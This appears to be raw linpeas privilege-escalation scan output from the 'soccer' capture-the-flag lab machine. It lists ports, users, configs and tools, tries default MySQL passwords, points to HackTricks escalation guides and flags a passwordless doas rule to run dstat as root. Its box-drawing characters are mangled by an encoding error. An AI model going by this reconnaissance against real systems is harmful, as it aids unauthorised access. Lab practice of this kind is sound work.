鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺?/p>
鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺?network information 鈺犫晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺?
鈺氣晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺?
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 hostname, hosts and dns
soccer
127.0.0.1 localhost soccer soccer.htb soc-player.soccer.htb
127.0.1.1 ubuntu-focal ubuntu-focal
nameserver 127.0.0.53
options edns0 trust-ad
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 interfaces
# symbolic names for networks, see networks(5) for more information
link-local 169.254.0.0
eth0: flags=4163
inet 10.10.11.194 netmask 255.255.254.0 broadcast 10.10.11.255
inet6 dead:beef::250:56ff:feb9:b17b prefixlen 64 scopeid 0x0
inet6 fe80::250:56ff:feb9:b17b prefixlen 64 scopeid 0x20
ether 00:50:56:b9:b1:7b txqueuelen 1000 (ethernet)
rx packets 229490 bytes 33975517 (33.9 mb)
rx errors 0 dropped 0 overruns 0 frame 0
tx packets 241272 bytes 72136368 (72.1 mb)
tx errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 1000 (local loopback)
rx packets 102027 bytes 23742553 (23.7 mb)
rx errors 0 dropped 0 overruns 0 frame 0
tx packets 102027 bytes 23742553 (23.7 mb)
tx errors 0 dropped 0 overruns 0 carrier 0 collisions 0
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 active ports
鈺? book.hacktricks /linux-hardening/privilege-escalation#open-ports
tcp 0 0 0.0.0.0:9091 0.0.0.0:* listen -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* listen -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* listen -
tcp 0 0 0.0.0.0:80 0.0.0.0:* listen -
tcp 0 0 127.0.0.53:53 0.0.0.0:* listen -
tcp 0 0 0.0.0.0:22 0.0.0.0:* listen -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* listen -
tcp6 0 0 :::80 :::* listen -
tcp6 0 0 :::22 :::* listen -
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 can i sniff with tcpdump?
no
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺?/p>
鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 users information 鈺犫晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲
鈺氣晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺?
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 my user
鈺? book.hacktricks /linux-hardening/privilege-escalation#users
uid=1001(player) gid=1001(player) groups=1001(player)
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 do i have pgp keys?
/usr/bin/gpg
netpgpkeys not found
netpgp not found
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
鈺? book.hacktricks /linux-hardening/privilege-escalation#sudo-and-suid
sorry, try again.
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 checking sudo tokens
鈺? book.hacktricks /linux-hardening/privilege-escalation#reusing-sudo-tokens
ptrace protection is enabled (1)
gdb wasn't found in path, this might still be vulnerable but linpeas won't be able to check it
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 checking doas.conf
permit nopass player as root cmd /usr/bin/dstat
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 checking pkexec policy
鈺? book.hacktricks /linux-hardening/privilege-escalation/interesting-groups-linux-pe#pe-method-2
[configuration]
adminidentities=unix-user:0
[configuration]
adminidentities=unix-group:sudo;unix-group:admin
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 superusers
root:x:0:0:root:/root:/bin/bash
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 users with console
player:x:1001:1001::/home/player:/bin/bash
root:x:0:0:root:/root:/bin/bash
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 all users & groups
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon[0m) gid=1(daemon[0m) groups=1(daemon[0m)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=100(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=1001(player) gid=1001(player) groups=1001(player)
uid=101(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=102(systemd-timesync) gid=104(systemd-timesync) groups=104(systemd-timesync)
uid=103(messagebus) gid=106(messagebus) groups=106(messagebus)
uid=104(syslog) gid=110(syslog) groups=110(syslog),4(adm),5(tty)
uid=105(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=106(tss) gid=111(tss) groups=111(tss)
uid=107(uuidd) gid=112(uuidd) groups=112(uuidd)
uid=108(tcpdump) gid=113(tcpdump) groups=113(tcpdump)
uid=109(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=110(landscape) gid=115(landscape) groups=115(landscape)
uid=111(pollinate) gid=1(daemon[0m) groups=1(daemon[0m)
uid=112(fwupd-refresh) gid=116(fwupd-refresh) groups=116(fwupd-refresh)
uid=113(mysql) gid=121(mysql) groups=121(mysql)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=997(_laurel) gid=997(_laurel) groups=997(_laurel)
uid=998(lxd) gid=100(users) groups=100(users)
uid=999(systemd-coredump) gid=999(systemd-coredump) groups=999(systemd-coredump)
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 login now
07:08:33 up 20:03, 2 users, load average: 0.14, 0.04, 0.01
user tty from login@ idle jcpu pcpu what
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 last logons
root tty1 fri dec 2 10:53:47 2022 - down (00:01) 0.0.0.0
reboot system boot fri dec 2 10:53:14 2022 - fri dec 2 10:54:54 2022 (00:01) 0.0.0.0
root tty1 fri dec 2 10:50:00 2022 - down (00:03) 0.0.0.0
reboot system boot fri dec 2 10:48:18 2022 - fri dec 2 10:53:08 2022 (00:04) 0.0.0.0
player pts/0 fri dec 2 09:16:09 2022 - fri dec 2 09:18:16 2022 (00:02) 10.10.14.40
reboot system boot fri dec 2 09:14:12 2022 - fri dec 2 09:18:19 2022 (00:04) 0.0.0.0
player pts/0 thu dec 1 19:01:52 2022 - thu dec 1 19:09:17 2022 (00:07) 10.10.14.40
reboot system boot thu dec 1 19:01:06 2022 - thu dec 1 19:09:20 2022 (00:08) 0.0.0.0
wtmp begins thu dec 1 19:01:06 2022
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 last time logon each user
username port from latest
root tty1 fri dec 2 10:53:47 0000 2022
player pts/2 10.10.16.6 sun mar 19 07:03:42 0000 2023
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 do not forget to test 'su' as any other user with shell: without password and with their names as password (i can't do it...)
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晽
鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 software information 鈺犫晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲
鈺氣晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暆
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 useful software
/usr/bin/base64
/usr/bin/curl
/usr/local/bin/doas
/usr/bin/g
/usr/bin/gcc
/snap/bin/lxc
/usr/bin/make
/usr/bin/nc
/usr/bin/netcat
/usr/bin/perl
/usr/bin/php
/usr/bin/ping
/usr/bin/python3
/usr/bin/sudo
/usr/bin/wget
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 installed compilers
ii g 4:9.3.0-1ubuntu2 amd64 gnu c compiler
ii g -9 9.4.0-1ubuntu1~20.04.1 amd64 gnu c compiler
ii gcc 4:9.3.0-1ubuntu2 amd64 gnu c compiler
ii gcc-9 9.4.0-1ubuntu1~20.04.1 amd64 gnu c compiler
/usr/bin/gcc
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 mysql version
mysql ver 8.0.31-0ubuntu0.20.04.2 for linux on x86_64 ((ubuntu))
鈺愨暎 mysql connection using default root/root ........... no
鈺愨暎 mysql connection using root/toor ................... no
鈺愨暎 mysql connection using root/nopass ................. no
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 searching mysql credentials and exec
from '/etc/mysql/mysql.conf.d/mysqld f' mysql user: user = mysql
found readable /etc/mysql/my f
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mysql.conf.d/
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 analyzing mariadb files (limit 70)
-rw------- 1 root root 317 dec 1 18:13 /etc/mysql/debian f
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 analyzing apache-nginx files (limit 70)
apache version: server version: apache/2.4.41 (ubuntu)
server built: 2022-06-14t13:30:55
httpd not found
nginx version:
/etc/apache2/mods-available/php7.4.conf-
/etc/apache2/mods-available/php7.4.conf: sethandler application/x-httpd-php
--
/etc/apache2/mods-available/php7.4.conf-
/etc/apache2/mods-available/php7.4.conf: sethandler application/x-httpd-php-source
鈺愨晲鈺?nginx modules
ngx_http_image_filter_module.so
ngx_http_xslt_filter_module.so
ngx_mail_module.so
ngx_stream_module.so
鈺愨晲鈺?php exec extensions
drwxr-xr-x 2 root root 4096 dec 1 13:48 /etc/nginx/sites-enabled
drwxr-xr-x 2 root root 4096 dec 1 13:48 /etc/nginx/sites-enabled
lrwxrwxrwx 1 root root 41 nov 17 08:39 /etc/nginx/sites-enabled/soc-player.htb -> /etc/nginx/sites-available/soc-player.htb
server {
listen 80;
listen [::]:80;
server_name soc-player.soccer.htb;
root /root/app/views;
location / {
proxy_pass localhost:3000;
proxy_http_version 1.1;
proxy_set_header upgrade $http_upgrade;
proxy_set_header connection 'upgrade';
proxy_set_header host $host;
proxy_cache_bypass $http_upgrade;
}
}
lrwxrwxrwx 1 root root 34 nov 17 08:06 /etc/nginx/sites-enabled/default -> /etc/nginx/sites-available/default
server {
listen 80;
listen [::]:80;
server_name 0.0.0.0;
return 301 soccer.htb$request_uri;
}
server {
listen 80;
listen [::]:80;
server_name soccer.htb;
root /var/www/html;
index index.html tinyfilemanager.php;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
}
location ~ /\.ht {
deny all;
}
}
-rw-r--r-- 1 root root 72941 nov 2 09:53 /etc/php/7.4/apache2/php.ini
allow_url_fopen = on
allow_url_include = off
odbc.allow_persistent = on
mysqli.allow_persistent = on
pgsql.allow_persistent = on
-rw-r--r-- 1 root root 72539 nov 2 09:53 /etc/php/7.4/cli/php.ini
allow_url_fopen = on
allow_url_include = off
odbc.allow_persistent = on
mysqli.allow_persistent = on
pgsql.allow_persistent = on
-rw-r--r-- 1 root root 72941 nov 2 09:53 /etc/php/7.4/fpm/php.ini
allow_url_fopen = on
allow_url_include = off
odbc.allow_persistent = on
mysqli.allow_persistent = on
pgsql.allow_persistent = on
-rw-r--r-- 1 root root 1490 feb 4 2019 /etc/nginx/nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;
}
http {
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
include /etc/nginx/mime.types;
default_type application/octet-stream;
ssl_prefer_server_ciphers on;
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
gzip on;
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
-rw-r--r-- 1 root root 389 feb 4 2019 /etc/default/nginx
-rwxr-xr-x 1 root root 4579 feb 4 2019 /etc/init.d/nginx
-rw-r--r-- 1 root root 329 feb 4 2019 /etc/logrotate.d/nginx
drwxr-xr-x 8 root root 4096 nov 17 08:06 /etc/nginx
lrwxrwxrwx 1 root root 48 nov 17 08:06 /etc/nginx/modules-enabled/50-mod-mail.conf -> /usr/share/nginx/modules-available/mod-mail.conf
load_module modules/ngx_mail_module.so;
lrwxrwxrwx 1 root root 61 nov 17 08:06 /etc/nginx/modules-enabled/50-mod-http-image-filter.conf -> /usr/share/nginx/modules-available/mod-http-image-filter.conf
load_module modules/ngx_http_image_filter_module.so;
lrwxrwxrwx 1 root root 50 nov 17 08:06 /etc/nginx/modules-enabled/50-mod-stream.conf -> /usr/share/nginx/modules-available/mod-stream.conf
load_module modules/ngx_stream_module.so;
lrwxrwxrwx 1 root root 60 nov 17 08:06 /etc/nginx/modules-enabled/50-mod-http-xslt-filter.conf -> /usr/share/nginx/modules-available/mod-http-xslt-filter.conf
load_module modules/ngx_http_xslt_filter_module.so;
-rw-r--r-- 1 root root 423 feb 4 2019 /etc/nginx/snippets/fastcgi-php.conf
fastcgi_split_path_info ^(. ?\.php)(/.*)$;
try_files $fastcgi_script_name =404;
set $path_info $fastcgi_path_info;
fastcgi_param path_info $path_info;
fastcgi_index index.php;
include fastcgi.conf;
-rw-r--r-- 1 root root 217 feb 4 2019 /etc/nginx/snippets/snakeoil.conf
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
-rw-r--r-- 1 root root 1490 feb 4 2019 /etc/nginx/nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;
}
http {
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
include /etc/nginx/mime.types;
default_type application/octet-stream;
ssl_prefer_server_ciphers on;
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
gzip on;
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
-rw-r--r-- 1 root root 1077 feb 4 2019 /etc/nginx/fastcgi.conf
fastcgi_param script_filename $document_root$fastcgi_script_name;
fastcgi_param query_string $query_string;
fastcgi_param request_method $request_method;
fastcgi_param content_type $content_type;
fastcgi_param content_length $content_length;
fastcgi_param script_name $fastcgi_script_name;
fastcgi_param request_uri $request_uri;
fastcgi_param document_uri $document_uri;
fastcgi_param document_root $document_root;
fastcgi_param server_protocol $server_protocol;
fastcgi_param request_scheme $scheme;
fastcgi_param https $https if_not_empty;
fastcgi_param gateway_interface cgi/1.1;
fastcgi_param server_software nginx/$nginx_version;
fastcgi_param remote_addr $remote_addr;
fastcgi_param remote_port $remote_port;
fastcgi_param server_addr $server_addr;
fastcgi_param server_port $server_port;
fastcgi_param server_name $server_name;
fastcgi_param redirect_status 200;
-rw-r--r-- 1 root root 374 feb 4 2019 /etc/ufw/applications.d/nginx
drwxr-xr-x 3 root root 4096 nov 17 08:06 /usr/lib/nginx
-rwxr-xr-x 1 root root 1195152 nov 10 06:38 /usr/sbin/nginx
drwxr-xr-x 2 root root 4096 nov 17 08:06 /usr/share/doc/nginx
drwxr-xr-x 4 root root 4096 nov 17 08:06 /usr/share/nginx
-rw-r--r-- 1 root root 53 nov 10 06:38 /usr/share/nginx/modules-available/mod-http-image-filter.conf
load_module modules/ngx_http_image_filter_module.so;
-rw-r--r-- 1 root root 52 nov 10 06:38 /usr/share/nginx/modules-available/mod-http-xslt-filter.conf
load_module modules/ngx_http_xslt_filter_module.so;
-rw-r--r-- 1 root root 42 nov 10 06:38 /usr/share/nginx/modules-available/mod-stream.conf
load_module modules/ngx_stream_module.so;
-rw-r--r-- 1 root root 40 nov 10 06:38 /usr/share/nginx/modules-available/mod-mail.conf
load_module modules/ngx_mail_module.so;
drwxr-xr-x 7 root root 4096 nov 17 08:06 /var/lib/nginx
find: 鈥?var/lib/nginx/proxy鈥? permission denied
find: 鈥?var/lib/nginx/scgi鈥? permission denied
find: 鈥?var/lib/nginx/fastcgi鈥? permission denied
find: 鈥?var/lib/nginx/uwsgi鈥? permission denied
find: 鈥?var/lib/nginx/body鈥? permission denied
drwxr-xr-x 2 root adm 4096 mar 19 00:00 /var/log/nginx
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 analyzing fastcgi files (limit 70)
-rw-r--r-- 1 root root 1007 feb 4 2019 /etc/nginx/fastcgi_params
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 analyzing rsync files (limit 70)
-rw-r--r-- 1 root root 1044 aug 16 2022 /usr/share/doc/rsync/examples/rsyncd.conf
[ftp]
comment = public archive
path = /var/www/pub
use chroot = yes
lock file = /var/lock/rsyncd
read only = yes
list = yes
uid = nobody
gid = nogroup
strict modes = yes
ignore errors = no
ignore nonreadable = yes
transfer logging = no
timeout = 600
refuse options = checksum dry-run
dont compress = *.gz *.tgz *.zip *.z *.rpm *.deb *.iso *.bz2 *.tbz
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 analyzing ldap files (limit 70)
the password hash is from the {ssha} to 'structural'
drwxr-xr-x 2 root root 4096 nov 15 21:40 /etc/ldap
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 searching ssl/ssh files
passwordauthentication yes
challengeresponseauthentication no
usepam yes
鈺愨晲鈺?some certificates were found (out limited):
/etc/pki/fwupd-metadata/lvfs-ca.pem
/etc/pki/fwupd/lvfs-ca.pem
/etc/pollinate/entropy.ubuntu .pem
/snap/core20/1695/etc/ssl/certs/accvraiz1.pem
/snap/core20/1695/etc/ssl/certs/ac_raiz_fnmt-rcm.pem
/snap/core20/1695/etc/ssl/certs/ac_raiz_fnmt-rcm_servidores_seguros.pem
/snap/core20/1695/etc/ssl/certs/anf_secure_server_root_ca.pem
/snap/core20/1695/etc/ssl/certs/actalis_authentication_root_ca.pem
/snap/core20/1695/etc/ssl/certs/affirmtrust_commercial.pem
/snap/core20/1695/etc/ssl/certs/affirmtrust_networking.pem
/snap/core20/1695/etc/ssl/certs/affirmtrust_premium.pem
/snap/core20/1695/etc/ssl/certs/affirmtrust_premium_ecc.pem
/snap/core20/1695/etc/ssl/certs/amazon_root_ca_1.pem
/snap/core20/1695/etc/ssl/certs/amazon_root_ca_2.pem
/snap/core20/1695/etc/ssl/certs/amazon_root_ca_3.pem
/snap/core20/1695/etc/ssl/certs/amazon_root_ca_4.pem
/snap/core20/1695/etc/ssl/certs/atos_trustedroot_2011.pem
/snap/core20/1695/etc/ssl/certs/autoridad_de_certificacion_firmaprofesional_cif_a62634068.pem
/snap/core20/1695/etc/ssl/certs/baltimore_cybertrust_root.pem
/snap/core20/1695/etc/ssl/certs/buypass_class_2_root_ca.pem
308505pstorage_certsbin
鈺愨晲鈺?writable ssh and gpg agents
/etc/systemd/user/sockets.target.wants/gpg-agent-browser.socket
/etc/systemd/user/sockets.target.wants/gpg-agent-extra.socket
/etc/systemd/user/sockets.target.wants/gpg-agent.socket
/etc/systemd/user/sockets.target.wants/gpg-agent-ssh.socket
鈺愨晲鈺?some home ssh config file was found
/usr/share/openssh/sshd_config
include /etc/ssh/sshd_config.d/*.conf
challengeresponseauthentication no
usepam yes
x11forwarding yes
printmotd no
acceptenv lang lc_*
subsystem sftp /usr/lib/openssh/sftp-server
鈺愨晲鈺?/etc/hosts.allow file found, trying to read the rules:
/etc/hosts.allow
searching inside /etc/ssh/ssh_config for interesting info
include /etc/ssh/ssh_config.d/*.conf
host *
sendenv lang lc_*
hashknownhosts yes
gssapiauthentication yes
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 analyzing pam auth files (limit 70)
drwxr-xr-x 2 root root 4096 dec 1 18:14 /etc/pam.d
-rw-r--r-- 1 root root 2133 mar 30 2022 /etc/pam.d/sshd
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 searching tmux sessions
鈺? book.hacktricks /linux-hardening/privilege-escalation#open-shell-sessions
tmux 3.0a
/tmp/tmux-1001
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 analyzing cloud init files (limit 70)
-rw-r--r-- 1 root root 3787 oct 3 16:57 /snap/core20/1695/etc/cloud/cloud.cfg
lock_passwd: true
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 analyzing keyring files (limit 70)
drwxr-xr-x 2 root root 200 oct 27 15:47 /snap/core20/1695/usr/share/keyrings
drwxr-xr-x 2 root root 4096 dec 1 18:12 /usr/share/keyrings
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 searching uncommon passwd files (splunk)
passwd file: /etc/pam.d/passwd
passwd file: /etc/passwd
passwd file: /snap/core20/1695/etc/pam.d/passwd
passwd file: /snap/core20/1695/etc/passwd
passwd file: /snap/core20/1695/usr/share/bash-completion/completions/passwd
passwd file: /snap/core20/1695/usr/share/lintian/overrides/passwd
passwd file: /snap/core20/1695/var/lib/extrausers/passwd
passwd file: /usr/share/bash-completion/completions/passwd
passwd file: /usr/share/lintian/overrides/passwd
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 analyzing github files (limit 70)
drwxr-xr-x 3 root root 4096 nov 17 08:06 /usr/lib/node_modules/npm/node_modules/node-gyp/.github
drwxr-xr-x 3 root root 4096 nov 17 08:06 /usr/lib/node_modules/npm/node_modules/node-gyp/gyp/.github
drwxr-xr-x 3 root root 4096 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/ast-types/.github
drwxr-xr-x 2 root root 4096 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/balanced-match/.github
drwxr-xr-x 3 root root 4096 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/proxy-agent/.github
drwxr-xr-x 2 root root 4096 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/resolve/.github
drwxr-xr-x 2 root root 4096 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/supports-preserve-symlinks-flag/.github
drwxr-xr-x 8 www-data www-data 4096 mar 18 11:42 /tmp/cve-2022-0185/.git
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 analyzing pgp-gpg files (limit 70)
/usr/bin/gpg
netpgpkeys not found
netpgp not found
-rw-r--r-- 1 root root 2796 mar 29 2021 /etc/apt/trusted.gpg.d/ubuntu-keyring-2012-archive.gpg
-rw-r--r-- 1 root root 2794 mar 29 2021 /etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg
-rw-r--r-- 1 root root 1733 mar 29 2021 /etc/apt/trusted.gpg.d/ubuntu-keyring-2018-archive.gpg
-rw------- 1 player player 1200 mar 19 03:58 /home/player/.gnupg/trustdb.gpg
-rw-r--r-- 1 root root 7399 sep 17 2018 /snap/core20/1695/usr/share/keyrings/ubuntu-archive-keyring.gpg
-rw-r--r-- 1 root root 6713 oct 27 2016 /snap/core20/1695/usr/share/keyrings/ubuntu-archive-removed-keys.gpg
-rw-r--r-- 1 root root 4097 feb 6 2018 /snap/core20/1695/usr/share/keyrings/ubuntu-cloudimage-keyring.gpg
-rw-r--r-- 1 root root 0 jan 17 2018 /snap/core20/1695/usr/share/keyrings/ubuntu-cloudimage-removed-keys.gpg
-rw-r--r-- 1 root root 1227 may 27 2010 /snap/core20/1695/usr/share/keyrings/ubuntu-master-keyring.gpg
-rw-r--r-- 1 root root 3267 jul 4 2022 /usr/share/gnupg/distsigkey.gpg
-rw-r--r-- 1 root root 2206 nov 17 08:06 /usr/share/keyrings/nodesource.gpg
-rw-r--r-- 1 root root 2247 nov 17 18:06 /usr/share/keyrings/ubuntu-advantage-cc-eal.gpg
-rw-r--r-- 1 root root 2274 nov 17 18:06 /usr/share/keyrings/ubuntu-advantage-cis.gpg
-rw-r--r-- 1 root root 2236 nov 17 18:06 /usr/share/keyrings/ubuntu-advantage-esm-apps.gpg
-rw-r--r-- 1 root root 2264 nov 17 18:06 /usr/share/keyrings/ubuntu-advantage-esm-infra-trusty.gpg
-rw-r--r-- 1 root root 2275 nov 17 18:06 /usr/share/keyrings/ubuntu-advantage-fips.gpg
-rw-r--r-- 1 root root 2250 nov 17 18:06 /usr/share/keyrings/ubuntu-advantage-realtime-kernel.gpg
-rw-r--r-- 1 root root 2235 nov 17 18:06 /usr/share/keyrings/ubuntu-advantage-ros.gpg
-rw-r--r-- 1 root root 7399 sep 17 2018 /usr/share/keyrings/ubuntu-archive-keyring.gpg
-rw-r--r-- 1 root root 6713 oct 27 2016 /usr/share/keyrings/ubuntu-archive-removed-keys.gpg
-rw-r--r-- 1 root root 4097 feb 6 2018 /usr/share/keyrings/ubuntu-cloudimage-keyring.gpg
-rw-r--r-- 1 root root 0 jan 17 2018 /usr/share/keyrings/ubuntu-cloudimage-removed-keys.gpg
-rw-r--r-- 1 root root 1227 may 27 2010 /usr/share/keyrings/ubuntu-master-keyring.gpg
-rw-r--r-- 1 root root 2867 feb 13 2020 /usr/share/popularity-contest/debian-popcon.gpg
drwx------ 3 player player 4096 mar 19 07:08 /home/player/.gnupg
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 analyzing cache vi files (limit 70)
lrwxrwxrwx 1 root root 9 nov 17 09:02 /home/player/.viminfo -> /dev/null
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 searching docker files (limit 70)
鈺? book.hacktricks /linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation
-rw-r--r-- 1 root root 477 nov 17 08:07 /usr/lib/node_modules/pm2/node_modules/@pm2/io/docker-compose.yml
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 analyzing postfix files (limit 70)
-rw-r--r-- 1 root root 813 feb 2 2020 /snap/core20/1695/usr/share/bash-completion/completions/postfix
-rw-r--r-- 1 root root 813 feb 2 2020 /usr/share/bash-completion/completions/postfix
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 analyzing ftp files (limit 70)
-rw-r--r-- 1 root root 69 nov 2 09:53 /etc/php/7.4/mods-available/ftp.ini
-rw-r--r-- 1 root root 69 nov 2 09:53 /usr/share/php7.4-common/common/ftp.ini
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 analyzing bind files (limit 70)
-rw-r--r-- 1 root root 832 feb 2 2020 /usr/share/bash-completion/completions/bind
-rw-r--r-- 1 root root 832 feb 2 2020 /usr/share/bash-completion/completions/bind
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 analyzing interesting logs files (limit 70)
-rw-r----- 1 www-data adm 8751 mar 19 07:01 /var/log/nginx/access.log
-rw-r----- 1 www-data adm 0 mar 19 00:00 /var/log/nginx/error.log
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 analyzing windows files (limit 70)
lrwxrwxrwx 1 root root 20 nov 17 08:10 /etc/alternatives/my f -> /etc/mysql/mysql f
